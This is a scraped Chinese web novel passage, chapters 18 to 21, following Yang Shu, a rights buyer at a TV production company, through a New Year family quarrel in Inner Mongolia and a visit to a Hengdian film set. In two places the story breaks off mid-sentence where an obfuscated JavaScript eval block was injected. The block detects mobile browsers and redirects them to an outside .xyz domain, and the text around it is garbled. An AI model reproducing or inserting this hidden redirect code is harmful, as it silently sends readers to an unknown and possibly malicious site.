车在北京的冬夜穿行,到了小区大门,杨树让司机停下,慢慢走回去,终究给陈樟发了几个字:“我到家了,以后多保重。” 过了几天,公司开年会,施严特地跟杨树坐到一起,悄声劝她别放弃大好局面。陈樟在北京有房,去深圳有前景,杨树说:“走回头路没意思。” 施严说:“在北京穷得叮当响,就有意思了?咱们指望《瓷缘》那点提成,在北京能干嘛。” 杨树哼道:“他的钱是他的钱。” 年会后是聚餐,主管单独找了一个小桌,已婚三人组话题自始至终是谁和谁的桃色事件,谁的丈夫婆婆娃,末了还都劝杨树和前男友复合。 老板娘说:“36薪,大公司才给得起,他是潜力股,别错过了。” 包法利夫人说:“技术男是最好的结婚对象,会赚钱,不爱花钱,你前男友在程序员里算帅的,那些秃头矮胖眼镜男都有人要呢。” 36个月薪水,必然是施严透露的,杨树心想这厮嘴真碎,主管说:“其实你真可以考虑考虑,你也不小了,工作和终身大事要两手抓。” 杨树笑了一下:“不急,我爸都没催过我。” 易无把话题拽到工作上,今天,大老板宣布了本年度投拍计划,仍没有他买下的那部大航海时代的小说,他挺失望,在他心中,小说是史诗级作品。 所有人都很希望把小说买回来就立项,姜妤是最幸运的一个,《天作之合》本月底就开机了,尽管编剧还有8集剧本没写完。 杨树给易无倒酒,劝上几句。一部剧投资千万起步,公司谨慎是正常的,部门去年给公司买了几十个IP,但投拍的只有几个,大航海时代一听就是大制作,等待期长点就长点。 姜妤让易无抱有平常心,她入行后,不同工种的人都说过,这行跟玄学差不多,不然开机仪式为什么要拜神? 杨树跟易无碰碰杯:“李峻老师说过,尽力去做,放低期待,其余的事都交给时运。” 易无一饮而尽,祝她去年买的《大唐银楼》顺利开拍。公司今年要拍4部IP,《大唐银楼》年后正式启动,仍由《瓷缘》的制片人柳艳负责。 《大唐银楼》是杨树刚进公司没多久购入的,珠宝世家被灭门,惟一幸存的女儿终成为一代官商的故事。柳艳对它爱不释手,拟投资3亿人民币,做成60集连续剧。这是绝对的大剧,但柳艳是大老板的太太,她说好,大老板信。 杨树向主管表达了当《大唐银楼》责任编辑的意愿,她看东西快,购买IP的主业不会怠慢。主管对上进的人很包容,还问需不需要她帮着说一声,杨树说不用,她自己去找制片人申请。 杨树在《瓷缘》项目组的表现很被柳艳认可,她同意了。公司今年还承接了卫视那边的两部任务剧,再加上目前在推进的项目,很欢迎新的责编人才。 杨树对年后的工作满怀期待,把丁盼兮和秦朗约出来庆祝。小区往东有家江西菜馆,丁盼兮偶尔买过它家的熟食,秦朗很爱吃它家的酱板鸭。 丁盼兮说放弃秦朗,就真的放弃了,她说好比一条裙子,很好看,但试穿暴露了她的身材缺点,再好看也算了。 丁盼兮近来和弹尤克里里的男人打得火热,把他称为作曲家。但长得能看,还擅长花言巧语的才子,喜欢他的女人少不了,丁盼兮说连她都能看出作曲家不像个安分人,实际上只会更滥情,因此她只和作曲家调调情,听听歌,看看电影,不和他深入来往。 传统江西菜比湖南菜更辣,杨树吃辣水平差,辣得流鼻涕,大口喝玉米汁解辣,逗得秦朗笑了几回。他这几天心情不佳,杨树和丁盼兮都问过原因,他说自己能调节,丁盼兮私下还问,会不会是看不惯她和某人打情骂俏,杨树笑她想太多。 19. 第 19 章 秦朗探亲假跟春节假期合并,有17天之久,他打点行装回张家界,丁盼兮羡慕他假期长,但一想到过年回家,她就感觉归心似箭,一箭箭往自己心上戳。要不是想看看她妈,她才不回烟台。 丁盼兮刚来北京读大学的时候,发过宏愿要扎根于此,但她就拿一份普通收入,房价太高不可攀,并且越来越不可攀。每次回家,她都被所有亲戚教育,身材长相样样好,居然找不到好男人,丁盼兮说是找不到,她爸说她没好好找,男人哪有不爱漂亮的。 今年丁盼兮虚岁29岁,她很清楚会被家里人继续发难。她爸妈生她养她,说几句难听的,她能忍,但亲戚们也敢蹬鼻子上脸,她烦得不行。杨树教她反驳回去:“连你生日都不记得,蛋糕也没买一块,这种人让你不开心,你也让她们不开心。” 丁盼兮无奈:“我家和她们一起做樱桃生意,每天打交道,我没法争一时意气,得替我妈想想。” 杨树以前在内蒙的时候,以为山东女人都是虎虎生风型,但哪个地方都有被教育得柔顺的女人,她让丁盼兮忍不了就找她聊聊天。 腊月二十八,杨树飞回内蒙,一进家门,她心里就咯噔一下,距离上次在北京见面,才大半年,爸爸的白头发明显比以前多了。 杨树想好好陪陪爸爸,每天和爸爸扯闲篇,吃了睡,睡了吃,过得很惬意。大年初二,两个叔叔都来拜年,他们刚走,姑姑一家也来了,杨树寒暄几句,说要去看电影,她不待见这家人。 姑姑只读到高二,在药店上班,姑父在一家木材厂,他终日征战在麻将桌上,一点工资都输光了。姑姑苦劝,姑父不听,烦了还动手,姑姑哭着让哥哥们出头,杨树爸爸和妹夫谈心,曾经被妹夫的工友们揍了几拳。 杨树爸爸做民政工作,见过很多这样的家庭,他劝妹妹离婚,无果。杨树日复一日地看着姑姑来家里哭诉,擦擦眼泪回家继续过日子,还不能多劝,一劝就说:“他好的时候还是很好的。” 杨树十几岁的时候就明白,会离婚的人收拾收拾就离了,另外一些是死也不离的,还总有一万个借口,能把人给听吐了。她不想跟姑姑说说话,但姑姑让她退电影票,她今天来,是有正事找杨树商量。 杨树的表弟职院在读,学酒店管理,六月份毕业,他想去北京发展,姑姑让杨树给他介绍工作。杨树很费解:“我做影视,不认识做酒店的。” 姑姑热切地说:“你那行大老板多,进进出出排场大,身边总得跟几个跑腿的吧?浩浩会开车,人也机灵,你把他塞进你们公司,从跟班做起都行!” 表弟闷头玩手机游戏,似乎他妈在说别人的事。杨树说自己进公司还不到一年,没见过老板几次,何况表弟学酒店管理,跟影视业不对口。 姑父说:“要不是他成绩差,我们就让他去学工商管理了,年纪轻轻的,谁肯让他当大堂经理?实习都只能当门童,给人开开门,拎拎行李,停停车,哪有出息。” 杨树说:“跟大老板当跟班,也是开开车门,打打杂,没多大意思,浩浩自己什么打算?” 表弟说随便,姑姑说刚毕业的小年轻都只能打杂,但在大城市给大老板打杂机会多。爸爸说杨树现在在给公司买小说改电视剧,平时见不到大老板,姑姑说浩浩平时也很爱看小说,杨树做的事,浩浩也能做,表弟这才抬起头,连说了几个网络小说,他都能去跟作者谈。 杨树笑了:“那么有名,早就被人买了。” 表弟听到成交价,瞪大眼睛,写点文字就能赚到普通人一辈子赚不到的钱,他也想写。姑父骂他想一出是一出,作文哪次不是东抄一段西抄一段,儿子要是能靠写书发家致富,他把头给儿子当夜壶用。 眼见父子俩要吵起来,杨树爸爸猛打圆场。姑姑让杨树务必把表弟弄到北京,杨树说她没这个能耐,最多帮着递份简历给人事,给朋友公司也试试,但姑姑说:“试试可不行,你是独生女,表弟跟亲弟弟没两样,你不帮他,就没人帮他了。” 杨树的堂哥堂弟都在本地工作,她算家族混得最好的一个,但只能说尽力而为,如果有一官半职,一切都好说,可她在北京城里是最平凡的上班族,能把自己养活就不错了,暂时没有能力帮别人。 姑姑说:“北京是不好混,你又是女的,既然到现在还没混出来,干嘛不跟陈樟复合,深圳不比北京差。” 杨树爸爸使了几遍眼色,但姑姑仗着自己是长辈,力劝杨树面对现实,陈樟在深圳公司受重用,如果两人成了一家人,杨树就在家当主妇生孩子,不用再出去辛苦工作。 陈樟离开北京是半个月前的事,这说明姑姑一直跟他有联系,杨树烦躁道:“我去年就跟他分手了,你也知道。你还提他干嘛?” 杨树带陈樟回内蒙探亲那次,杨家亲戚和她妈那边的亲戚聚在一起吃饭,姑姑说想让儿子跟着陈樟学点东西,存过陈樟的电话。 前几天,姑姑为儿子的工作发愁,找过陈樟,得知他的现况,她提出让陈樟带浩浩一把,但陈樟拒绝了:“阿姨,小树说她和我不可能了。而且我过完年才去深圳,还不知道那边情况怎么样,我都没站稳脚跟,不能耽误浩浩前程。” 姑姑劝杨树再想想,她去北京快5年,还只混成这样,跟着陈樟去深圳才是出路,杨树没妈,到时候坐月子,当姑姑的去深圳帮她带孩子。 说来说去,只为想帮儿子解决工作问题,杨树冷冷问:“你以为你是谁?” 姑姑愣住,杨树爸爸抬高声音:“杨树!” 每当爸爸连名带姓喊女儿的名字,就代表批评,杨树正色,她和陈樟不会再在一起,她混得好不好,生不生孩子,都不关他们事,这种话题到此为止,如果再提起,别怪她掀桌。 姑父大怒:“你是怎么跟大人说话的?” “我就这么说话的。还有,我马上28岁了,不是小孩子。就算是小孩子,不尊重我的话,都不要再说了。”杨树起身回卧室拿羽绒服,被爸爸喊住,“今天零下27度,别往外面跑了。” 表弟说:“自己没本事,不帮忙就不帮忙,有什么了不起的。” “是没什么了不起,希望你以后了不起。”杨树换好衣服出来,爸爸正和姑姑全家尴尬相对,姑姑不忿道,“我还不是为她着想,年纪不小了,长得也不漂亮,脾气还不好,劝她抓紧时间嫁人,我哪说错了?拖到三十多,还有几个好男人肯要她?” 杨树吼了出来:“杨怡!你连这种男人都打死不离,有脸教育我?” 姑父气得脸色铁青,一拳砸桌上,表弟冲过来:“跟我妈道歉!” 爸爸拦住外甥,冲杨树道:“看完电影就回!” 杨树胸口发闷,走到玄关换鞋,姑父提议打打麻将,拼命把局面捞回来。杨树意犹未尽,撂话道:“再来多嘴,我就动手,说到做到。” 爸爸趁姑姑和姑父去搬麻将桌,跟过来小声说:“大过年的,伸手不打上门客。” 杨树板起脸:“他们不走,我走。” 爸爸给她围上围巾:“出去散散心就回来,别冻着。” 杨树没去看电影,去小姨家待了一下午,回来时姑姑一家已经走了。吃完晚饭,爸爸让她歇着,他去洗碗,杨树把他赶去看电视,爸爸切了橙子等她。 爸爸也反对姑姑去找陈樟帮忙,但杨树对姑姑的态度不好,这件事是她做错了,因为姑姑让她和陈樟复合,心是好的。 杨树发急:“我觉得好,才是为我好。去年我跟陈樟分手,她劝了我好几遍,我一说话她就贬低我,说我27岁了,错过这村没有那店了,现在当着我的面说我混得差,让我生孩子去,我爱听?她不尊重我在先,我为什么要尊重她?” 爸爸说:“我批评她了,哪有说别人混得差的?她跟外人说得出口吗?” 杨树哼一声:“她自己过成那样,也配指点我?自己结婚都没尝到甜头,干嘛劝我结婚?自己待在火坑里,看不得别人自在是吧?” 爸爸也急了:“哪有这样说长辈的?” “我是小辈,就没资格被她尊重,只有尊重她的份?她哪里值得我尊重了?”杨树跟爸爸掰扯起来,她以前没意识到亲密关系也存在边界感,才会一次次被陈樟伤害,什么爱不爱,为你好,统统都是虚伪的。真正在意一个人,怎么会说出那么多难听的话,为什么不对领导说? 爸爸说跟外人说不着,杨树怒道:“不是因为领导是外人,是因为她得罪不起。她不把我当回事,才不顾我的感受,想说什么就说了。你嫌我对她态度不好,我要是不把她当姑姑,早一拳打她了,你看她男人把她打成什么样。她不就是谅我不好拿她怎么样吗?” 爸爸让杨树吃橙子:“消消气。” 杨树不吃,气呼呼地把电视声音开到最小。爸爸语气放软和,他理解杨树闹情绪,但姑姑很可怜,丈夫是赌棍,儿子还不成器,去年底把女同学肚子弄大了,姑姑让女孩去打胎,给了她5千块钱营养费,这钱还是找杨树爸爸借的。 杨树惊讶:“还有这事?” 打胎伤身体,爸爸找姑姑一家谈过,既然两个孩子感情好,不如订个婚,但浩浩说他没想过这么年轻就当爸。姑父说儿子还年轻,毕业就结婚,一辈子就被钉死了。 姑姑勒令浩浩和女孩分手:“年纪轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杨树烦了:“说了不去就不去!” 爸爸生气了:“事情过都过去了,还发什么脾气?你平时上班也这样,说一句顶一堆?” 杨树喊道:“爸!是你女儿被你妹妹欺负了!” 爸爸说:“我已经让她道歉了!你不信,就当面去听。” 话赶话的,父女俩又吵了一架,杨树本来是大后天回北京,气得退了票,买了下午飞回北京的票,比原票价便宜了6百多。她回屋收拾行李,爸爸站在门边看她,不解地问:“一点小事,怎么搞成这样了?” 杨树拎起旅行箱,气冲冲出门:“你认识杨怡47年,你认识我还不到28年,你和她熟些,你说是小事就是小事吧。” 爸爸徒劳地喊了几声小树,杨树头也不回地走了,坐上开往机场的大巴,她把头靠在窗上,心情沉重。她和陈樟分手,感觉很愧对爸爸,但爸爸站在她这边,不让她为了结婚而结婚,她认为爸爸是世界上最好的爸爸。可是在她和姑姑一家产生矛盾时,爸爸却觉得她也有不对的地方。 很多事,都是后来才看清的。上司的打压是直接的,客户的刁难也是不经掩饰的,但亲朋爱人的打压却总装出一副关心的面孔,你要化妆,要有女人味,要改脾气,要识相,要趁还不老的时候嫁人……她受够了。 候机时,杨树收到爸爸发来信息:“给你带去北京的一样没拿,过几天寄给你。”她心里有气,没回复,到达首都国际机场已是夜晚,她发出一张夜景照片,意思是对爸爸报平安,但一个字都不愿意多说。 出租屋只剩自己一人,杨树生物钟没调过来,起了大早搞卫生,开着客厅电视当背景声。 电视是去年上半年热播的一部年代剧,也是IP改编,重播过几次,杨树听了几耳朵,男主角是帮派大佬,也能归属霸道总裁类型。 丁盼兮说过很好看,杨树忙完坐下看了几集,她已越发理解观众和读者爱看这类故事了:有权有势的英俊男人对谁都很凶,偏偏专一爱我。她笑着想,都混成一方人物了,情绪还不能自理,只能在故事里成立,生活里,她只喜欢性格平和,谈得来的男人。 门外传来动静,杨树心一紧,把电视按了暂停,站起身来。丁盼兮正在山东老家,秦朗假期还很长,会是谁? 指纹锁被打开,秦朗拖着旅行箱进门,跟杨树打个照面,互相都愣了,杨树问:“你怎么回了?” 杨树说:“跟我爸吵了架。” 秦朗乐了:“我也是。”他把旅行箱丢回卧室,杨树泡上了咖啡,“看个喜剧片?” 秦朗靠坐在沙发上,胡乱挑着电影,杨树想起去年平安夜,她错过的那场电影:“愿意再看一遍吗?” 秦朗说:“是值得再看一遍。” 杨树发现此人有个优点,他绝不对她讲后续情节,像第一次观看一样,陪着她惊叹连连。 电影看完,杨树刷出了网页,正在拍摄的《天作之合》发布了新剧照,男帅女美,看上去很养眼,她兴起一念:“我还有几天假,要不要一起去横店玩?” 20. 第 20 章 大年初四,北京城里很空,秦朗想换个心情,积极响应。杨树和剧组的生活制片很熟,经她同意,杨树和秦朗自费在工作人员住的酒店开了两间房间。 酒店是本地连锁,除了女主角和另一个重要男配角按合同约定,住在五星级酒店,其余演员都住在这里。 一走进酒店大堂,就看到大门边上的公告栏,上下两页纸,是A组和B组的拍摄通告单,写着本日拟拍场次和出场演员等信息。秦朗研究了一分钟:“A组今天拍12场,是跳着拍的,情节不连贯。” 杨树指着通告单上写的拍摄地点说:“今天都在这里拍。影视剧不是按情节顺序拍摄的,是把同一个场景的所有情节集中在一起拍,比如第3集开头我们在这个酒店见面,第4集在这个酒店拿下客户,第15集在这个酒店喝咖啡,那就把所有涉及到酒店的戏份都拍完了,再去拍别的场景。” 秦朗想了想:“为了省钱。” 杨树点头:“制片谈场地,都是按天数或者打包价。要是按情节顺序,就只能在不同场地跑来跑去,时间都浪费在路上了。” 秦朗明白了:“怪不得有时候同一集里演员忽胖忽瘦,或者出门上班穿这套衣服,走进办公室是另一套衣服,其实就因为不是同一天拍的。” 杨树说衣服穿帮是统筹人员的疏忽,但一部戏那么多场次,特别认真细致才行。秦朗和她把旅行箱扔去各自房间,找人要了工作牌,出发去片场。 上午空气好,杨树带秦朗先去B组拍摄场地——横店八面山森林公园。这里是异星球不明生物初来地球的场所,男二号有三分之一戏份都在这里,男女主角也有十来场戏。 秦朗听杨树讲过《天作之合》:“兔子总裁和狼秘书被改成不明外星生物,是因为广电禁令建国后动物不准成精吗?” 杨树笑,这句话其实是网络段子,但太深入人心,人们都以为它是真的,她是开机后才听说改成了这样。制片人认为改一改不影响情节,而且从拍摄到播出少说一年,谁知道会不会有什么新的规定出台。 两人进入拍摄现场,正拍摄的一场戏是漫天大雪中,男二号狮子王失魂落魄,越走越快,回头望向自己那一串孤独足印。杨树看过剧本,这场是男二号强掳女主角,女主角宁死不从,告知她已对男主角动了心,他永远得不到她的心。 在此之前,男二号一再从男主角身边拽走女主角,但这一次,他真正体会到心的破碎。 镜头下,男二号祁宁狂奔着向天嘶吼,震得树上积雪纷落,他以灵力化枯枝为鞭,鞭打一树怒雪。 这一幕剧本里没有,是导演现场加的,鞭子将会用后期特效制作,祁宁此时手上空无一物,要做出鞭打的动作,这叫无实物表演。杨树有点感叹,剧照上的祁宁远不及真人生动,他比照片更瘦些,眼睛精光凛凛,发狂时阴鸷狂野,活脱脱一只幻化成人的狮子。 杨树走到监视器面前,细看祁宁的表情,他走在雪地里,从愤怒到瞬间的茫然,再到失控,眼神逐渐狠厉。暴雪纷纷落下,他掷出鞭子,如将军扬眉剑出鞘,眼中噙着隐忍的泪水,倒退着走回,在自己足印边上,添上新的,像牵手而行的情侣所留下。在这人间,他绝不想形单影只,对于那女人,他绝不放手。 当B组导演喊cut,对祁宁举起大拇指,杨树听到场记轻叹好帅,说她都想得到播出时,有多少女观众会被祁宁征服。 祁宁是公司签约的新人,《天作之合》是他拍的第一部戏,身边只跟了一个女助理,女助理拿着羽绒服冲上前,让他回休息室。 2月的横店比北京温度高得多,但衣衫单薄,反复演绎,以获得最好的一条,祁宁冻得嘴唇都颤抖,但还是先来找导演,看自己在镜头面前的表现,眼睛里带着不安:“导,这样行吗,我感觉我没发挥好。” 导演让祁宁去休息,他从早上7点拍到现在,等他休整好,导演再和他聊聊接下来的4场戏。 祁宁微微欠身道谢,看到杨树和秦朗,虽然不知道他们是谁,深邃的眼中带笑:“两位老师好。” 杨树眼前一下子很明亮,这人的帅,是那种簇新的帅,像有一支魔法笔,给他周身提高了色彩饱和度,在众人之间很醒目,她笑道:“快喝点热的。” 助手递过热水,祁宁喝了几大口,往休息室里跑。杨树跟场记寒暄,秦朗去研究造雪机,不懂就问,等工作人员忙起下一场戏,他和杨树站在一起看。 杨树也是第一次观摩拍戏,她才知道电视上4分钟的情节,实际上拍起来有多麻烦和枯燥,导演要给演员讲这4分钟所表现的意图和情绪,时常会自己演一遍给演员看,灯光、摄影、化妆一遍遍地为演员忙碌着,选出他诠释得最到位的一条。 祁宁洗完澡,吹干头发,穿着羽绒服出来,先请教杨树和秦朗尊姓大名,管两人叫杨老师和秦老师,打完招呼,站到边上听导演讲戏。 公司有艺人经纪业务,杨树见过挺多新人,远远望去都瘦得可怕,但都是眉目如画。祁宁俊朗当然是俊朗的,妙处在于话少,还有一双俊逸神飞的眼睛。 导演讲戏时,祁宁侧头聆听,睫毛低垂,像藏住了一千个疑问,但当他想明白了,眼睫不经意一抬,那些疑问就像蝴蝶,扑棱着纷纷飞去了。 这人眼中有戏,摄影师也很偏爱拍他的眉眼和侧首之态。当初公布《天作之合》剧照时,有人扒出主角配角都不同程度动过脸,这在影视业很常见,都是为了追求上镜效果,无可厚非。杨树依稀记得,祁宁是动得少的,他原先面颊饱满,也算帅的,但是普通人的帅,有钝感,如今他骨骼清明五官立体,用言情小说对男主角的形容,面容如刀削过一般凌厉深沉。 也许深沉仅仅因为不善言辞,但演员给人感觉一深,就有故事感,能演很多角色,倔强羞涩的,沉默敏感的,冷血阴郁的。杨树暗暗看祁宁,这张脸很适合演狮子王这类走在灰色地带的人物,当他走到末路穷途,以颓废示人,半明半昧的光落在他脸上,一双眼睛闪着寒光,狠狠揩着嘴边血,哪怕是反派,仍能让人在心里把他疼个遍。 剧本里,为狮子王写了一场场展现怒意和狂态的戏,杨树对《天作之合》抱有更多期待。明天她想去观摩A组男女主角的戏,今天女二号也在那边。 下午三点多,杨树和秦朗离开拍摄场地,八面山森林公园占地面积很大,两人边聊边逛,出了园子,直奔夜市吃小吃。 秦朗感叹中午那4分钟的雪戏,成本居然那么高,难怪影视剧投资动不动几千万上亿。杨树说影像中一定会有经典片段,即名场面,花费再高也值得,它们是整个作品的精华之一。 《天作之合》投资2千万,只是小制作,但也会尽力做得考究,拍完横店的戏,会转场去杭州和海南拍外景戏,角色们都是异星球生物,导演想通过他们的眼睛,拍人间四季。 丁盼兮还在老家烟台,她说实在待不下去了,每天都想走。杨树叽叽喳喳聊起探班经历,夸祁宁演得好,情绪层次转变分明,人设也好,将来剪片花,雪戏一定会剪进去,不知多少观众会满心期待。丁盼兮听得嗷嗷叫,秦朗问:“我觉得是演得不错,但有那么好吗?” 杨树笑他不懂言情故事的魅力,观众都会代入女主角看这场戏:一个强有力的英俊男人为我失了态,就等于爱我爱到无法自拔,她们会很满意。 《天作之合》是棚拍和实景相结合,剧组租了几个摄影棚,用于搭景,男女主角大量戏份都在棚里。第二天,杨树和秦朗去A组探班,连看几场戏,都是明来暗去的调情戏。 男主角白杨今天的戏都不是爆发戏,得收着演,杨树终于理解制片人对兔子总裁的顾虑,从长相到人设,他都很纯良无害,但言情剧的受众更爱看能展示出性魅力的角色。比如祁宁,他令人过目难忘,在于有桀骜感,哪天他胡子拉渣,头发凌乱,只要穿件白衬衫,微微解开一颗扣子,对女人来说就是性感的。 这一代的男艺人,很多人都帅,但有脂粉气,桀骜感是难得的。杨树想了想,祁宁能演坏人,但眼睛深,也能演公子多情,善良得起来,白杨恐怕演不了坏人,他看起来太乖,不过也许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079227|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以挑战电影,打个反差。 导演给白杨讲戏,杨树跟秦朗对视一眼,白杨是一张好学生的脸,但脑瓜不灵光,对戏剧的领悟力不大行。不过导演很会教,兔子总裁出于害怕,动不动就对狼秘书声色俱厉,把她轰走,显得冷傲不近人情,仍是演出了几分总裁腔调,但转头就抹一把冷汗,被白杨演得很有趣,用摄影师的话说,这叫反差萌。 色厉内荏的角色演出了可爱劲,丝毫不怂,无疑是白杨自身条件好,他有一双黑白分明的真挚眼睛,整个人像一株带着晨露的青青翠竹。下了戏,他更显活泼,笑起来一派阳光灿烂,跟助理说个不停,但跟女主角顾叮叮完全不交流,尽管镜头里,这两人的CP感很强。 顾叮叮对外号称1米59,真人娇小得多。她出道时,被娱记扒出过中学时的照片,模样非常普通,但她运气好,遇见好医生,整得巧夺天工。 然而,开拍已近大半个月,顾叮叮对女主角的理解仍然是照着红太狼演,言行举止很外放。导演反复讲戏,让她牢记秘书身份,该装则装,时刻克制着本能冲动,分不清是爱意还是食欲,抓耳挠腮,抓心挠肝,角色的萌点都从这里来。 顾叮叮自带的化妆师给她设计的狼秘书妆容很明媚,顾盼之间活色生香。每场戏的间隙,化妆师都冲上去为她补妆,顾叮叮有一只手持化妆镜,只要镜头没对准她,就反反复复对镜自揽。 离开了打光,杨树看出顾叮叮的脸有硬伤,在女明星里只算氛围美人,化妆、打光,造型都跟上,才能营造出精致美人之感。 女二号从人设到本人都是楚楚可怜小白花,但言情剧里观众多半喜欢两男一女的大三角,女二号不功不过就行。杨树叹服选角成功,从目前来看,男女主角在戏里有火花,将来播出,至少能有不错的热度。 杨树看了三场男女主角的对手戏,然后mall的供应商——有机农场场主登场了,由一个著名演员出演,他演过帝王和小知识分子,电视上很气宇轩昂,真人瘦小得多。 秦朗父母都叫得出著名演员的名字,他主演的电视剧都放心看。算年纪,著名演员今年已有61岁,前些年就淡出屏幕,有几次,秦母还纳闷怎么好久没看到他出来演戏了。 父母和秦朗三天没说话了,秦朗点开微信,想给他妈说一声,缓和一下,却被著名演员的助手看到了,以为他在拍照,上前阻止。 著名演员一个眼神压过来,喝问工作人员这是怎么回事,哪儿冒出来的,举止跟他惯常扮演的孤寒傲慢的角色没两样。秦朗举起手机给他看,示意他懂规矩,没拍照,杨树气愤地嘀咕:“他以为他真是皇上啊?” 一场戏正待开拍,众人再次见识到著名演员的跋扈,他质问导演,为什么饰演助理的演员台词比他长,为什么道具准备的汤里有葱花云云,导演好脾气地解释,著名演员不肯罢休,抄起汤碗往地上一砸,转身去房车休息。 剧组按著名演员的意思一一整改,他才矜持表示自己较真是为了艺术。 杨树每次阶段剧本会都参与了,跟导演比较熟,不解道:“他怎么是这样的人?您是导演,他怎么也敢指着脸骂?” 在所有的通稿里,著名演员是德高望重的艺术家,为人谦和儒雅,谈吐有文化。导演哈哈一笑,剧组里这样的人不少,不解释就会一直揪着你闹,一会儿嫌戏服太冷,一会儿嫌夜戏灯光太晃眼,为了进度,导演不能多计较。 导演随身带了一男一女两个文学助手,女孩叹气说开拍前著名演员很配合,谦逊有礼,开拍后就变脸了,工作人员就没有不被骂的。男孩说三大主角都不红,《天作之合》将来宣传时,少不得要抬出著名演员和另外几个老牌演员的名头,他们有恃无恐。 杨树知道明星演员不好伺候,但电视上那么美好,真实为人却是这样。而且著名演员不论多么骄横自私,都能找到年轻漂亮温柔的无名小艺人给他当情人。 导演走过来,今天估计收工早,他请杨树晚上10点左右去趟2号会议室,有事找她帮忙,杨树有点疑惑,仍是应了。 21. 第 21 章 棚里太热,快到中午,杨树和秦朗出去吃饭。秦朗很感慨,男女主角在镜头面前那么浓情蜜意,私下很不熟,只跟各自的生活助理闲聊,杨树说:“你以为演技这回事真的不存在?多多少少有一点,比咱俩这种普通人强。” 秦朗却说自己代入男主角想了一下,对着女主角并不能入戏,她那双眼睛不纯净,带有深深的不信任。杨树回想起顾叮叮的脸,她很上镜,在镜头里尤美,秦朗说这是男女有别,杨树眼里男二号祁宁很性感,他只觉得有邪气,虽然演员本人竟有点小腼腆。 下午两人去逛秦王宫,傍晚去夜市,两人都喜欢一家小摊的萝卜丝饼,街边小店的鲫鱼豆腐汤也很好喝。晚上回到酒店,杨树准时去2号会议室,秦朗趴在自己房间玩游戏。 导演在跟制片主任谈事,杨树在走廊上闲逛了几分钟,导演的文学助手们出门喊她进去:“潘导不知道您已经来了。” 导演开门见山,让杨树帮忙改剧本。著名演员为首的所谓老戏骨最多是嚣张了点,但女主角顾叮叮严重拖了进度。此人一不背台词,二是消极怠工,每天睡到日上三竿起,她说不然黑眼圈太重,化妆遮不住,但观众不想看一个憔悴的女主角。 真实原因不过是顾叮叮拼命节食,前几天在片场晕倒过,顺势找了借口。她说从小体质不好,不适合高强度工作,必须保证充足睡眠。 顾叮叮耍无赖,合同制约不了她,拍完一场戏,她就往房车里钻,工作人员都被她为难过,连赞助商和活动方也被她甩过脸。杨树讶然:“她什么来头?” 顾叮叮算不上有来头,她近来的金主是企业家,不是权贵。跟企业家有瓜葛的演员艺人有数人,顾叮叮较为新鲜,但漂亮男女多,资本雄厚的企业家少,说不定下周,顾叮叮就得再找靠山。 顾叮叮敢在剧组为所欲为,既是仗着开机数天,不便换演员,更是频频拿她的粉丝说事,她说她有真粉丝的,将来《天作之合》播出,粉丝能在宣传和做活动时出力。 顾叮叮是选秀女团的台柱子之一,她出道后,她所在的公司搞过几次见面会,粉丝是实打实为她花钱。几个大粉尤其得力,肯花钱,会写文章,组织能力强,资源也丰富,连当红花旦都想把她们挖过去。 每次来探班,大粉指挥有方,从奶茶到名牌护肤品,一箱箱地往剧组搬,摆出的阵势很足:“小顾家是有人的!” 《天作之合》选角时,顾叮叮的优势在于片酬低,粉丝狂热,很卖力地为她吆喝。但粉丝们不会知道,他们心中的仙女,无论是智力、才华和品德,其实不配拥有她所得到的声名和尊重。杨树这才知道秦朗直觉很准,顾叮叮是有一双不纯净的眼睛,她不相信也不喜欢拍戏。 顾叮叮看不懂剧本,理解不了内容,台词磕磕巴巴,最近两天她都没完成通告单上的戏,昨天今天都甩了两三场戏到次日。 照这么恶性循环,拍摄时间得往后延,但剧组数百人,驻扎一天就得花一天的钱,场地、器材、车辆等费用都是按日结算,无法按时杀青,就意味着预算要超,制片人奈何不了她,导演被迫改剧本。 剧本还有5集未完成,编剧正在赶稿。责编写作能力不佳,只能给编剧出出主意,导演让杨树务必帮忙,顾叮叮的部分戏份得修改,交给男主角和其他角色。 杨树中学时在报纸上发表过散文,当杂志编辑也发表过短篇小说,在青芽图书公司写过很多故事梗概和卖点,剧本却完全没写过。她连忙推辞,但导演鼓励她试试看,从她每次在会议上提的建议来看,她的戏感很好,写上两场戏就能上手了,导演也会跟她多沟通。 杨树仍有些犹豫,导演说工期太赶,他没那么多空跟新编剧沟通,但杨树对这个故事很熟,他的两个文学助手会根据他的口述,整理出一份大致内容,不会让杨树不知道该写什么。 文学助手让杨树不用担心写不出来,他们会和她一起磨。杨树答应了,总共也就二三十场戏,她想试一把,而且导演说不会让她白帮忙,会署名为文学编辑,她写的内容也会拿到一点点稿费,这件事他稍后会跟制片人聊。 总而言之,导演抓了几天壮丁,杨树的到来让他很欣喜。杨树主动提出以后校对台词字幕,她有出版专业中级资格证,校对能力是专业级,每当看到好好一部剧,字幕出现错字漏字,她的职业病就发作,恨不得就地改了。 导演乐哈哈,聊起具体的修改内容。除了加几场副CP的戏份,主要篇幅给男主角和男二号,言情剧的看点在男人身上。男主角面对比女主角更凶残的男二号,本能会怯懦,但在情场上的男儿尊严,迫使他去直面,这里边能出好看的戏。 男二号狮子王是在原著基础上生造的人物,原著作者很不满,但有天她到片场看了一下午的戏,对祁宁的认可度很高,提议增加男一男二的对手戏。 现剧本里,男主角和他的狗头军师很友爱,但导演说男主角和男二号之间能写出类似耽美故事里最精彩的情感线:相爱相杀。杨树惊了:“您还看耽美?” 文学助手说导演的太太是大学副教授,研究文艺心理学,热门耽美小说她都做过了解,还向导演推荐过。上个月,耽美剧《上瘾》以黑马之姿杀出重围,网上热议不断,导演也看了几集,他说有一种青春情事的炽热感,但感觉现行审查制度下,它不见得能存活太久。 